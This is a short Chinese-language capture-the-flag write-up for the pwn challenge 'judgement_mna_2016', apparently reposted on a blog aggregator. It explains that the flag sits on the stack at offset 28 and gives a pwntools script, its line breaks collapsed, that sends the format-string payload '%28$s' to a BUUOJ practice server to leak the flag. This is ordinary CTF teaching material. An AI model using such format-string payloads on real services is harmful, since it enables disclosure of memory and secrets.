judgement_mna_2016

查看保護(hù)


這里有一個(gè)格式化字符串，flag也被放到棧上去了。
這題目很簡(jiǎn)單，flag在棧上，動(dòng)調(diào)一下看一下flag的偏移然后借助格式化打印出來(lái)就行了

28的偏移

from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1 if debug:r = remote('node4.buuoj.cn', 27337) else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)p1 = b'%28$s'r.sendline(p1)r.interactive()

總結(jié)

以上是生活随笔為你收集整理的judgement_mna_2016的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。